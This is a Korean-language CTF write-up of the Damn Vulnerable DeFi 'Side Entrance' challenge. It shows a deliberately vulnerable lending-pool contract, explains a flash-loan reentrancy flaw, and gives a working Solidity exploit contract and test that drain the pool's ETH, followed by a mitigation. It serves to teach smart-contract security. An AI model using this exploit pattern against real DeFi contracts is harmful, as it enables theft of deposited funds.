Damn Vulnerable DeFi-Side Entrance
DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.
Summary
flashLoan 에서 재진입이 가능하여 ETH를 재예치, 출금할 수 있다.
Keyword
reentrancy, flash loan
Vulnerability
A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time. It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system. Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.
Flash loan 기능을 제공하는 풀이 있다. 이 풀의 ETH를 전부 꺼내어 공격자의 계정에 가져와야 한다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
mapping(address => uint256) private balances;
error RepayFailed();
event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);
// @audit-info 입금
function deposit() external payable {
// @audit 오버플로우 가능성? -> msg.value라 미미
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
// @audit-info 자신의 예금을 인출
function withdraw() external {
uint256 amount = balances[msg.sender];
// @audit-info 재진입 불가?
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
// @audit 재진입 가능
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
}flashLoan 함수에서 ETH를 빌려준다. msg.sender 의 execute 함수를 호출하며 대금을 전달한다. 이후 balance를 체크한다.
balance를 그대로 두며 ETH의 소유권을 주장하려면 어떻게 해야할까? 이 때 deposit 기능을 이용할 수 있다.
flash loan으로 빌린 ETH를 재진입을 통해 그대로 deposit 하면 공격자의 balance를 늘릴 수 있다. deposit 하면 다시 ETH가 pool에 들어가므로, balanceBefore와의 비교도 우회할 수 있다.
flashLoan 호출이 끝난 후 withdraw 를 호출하면 자신의 예치금으로 잡힌 금액을빼낼 수 있다.
다음은 PoC이다.
import "./SideEntranceLenderPool.sol";
contract SideEntrancePoC {
SideEntranceLenderPool pool;
address payable player;
constructor(SideEntranceLenderPool _pool) {
player = payable(msg.sender);
pool = _pool;
}
function exploit(uint256 _amount) public {
pool.flashLoan(_amount); // deposit 하여 다시 pool에 입금됨
pool.withdraw();
player.transfer(_amount);
}
// 재진입 함수
function execute() public payable {
pool.deposit{value: address(this).balance}();
}
receive() external payable {}
}it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const SideEntrancePoCFactory = await ethers.getContractFactory('SideEntrancePoC', player);
const poc = await SideEntrancePoCFactory.deploy(pool.address);
await poc.connect(player).exploit(ETHER_IN_POOL);
});Impact
풀에 예치된 ETH를 탈취할 수 있다.
Mitigation
deposit 함수에 재진입 가드를 넣는다.
tags: writeup, blockchain, solidity, smart contract, erc20, flashloan, crypto theft, reentrancy, defi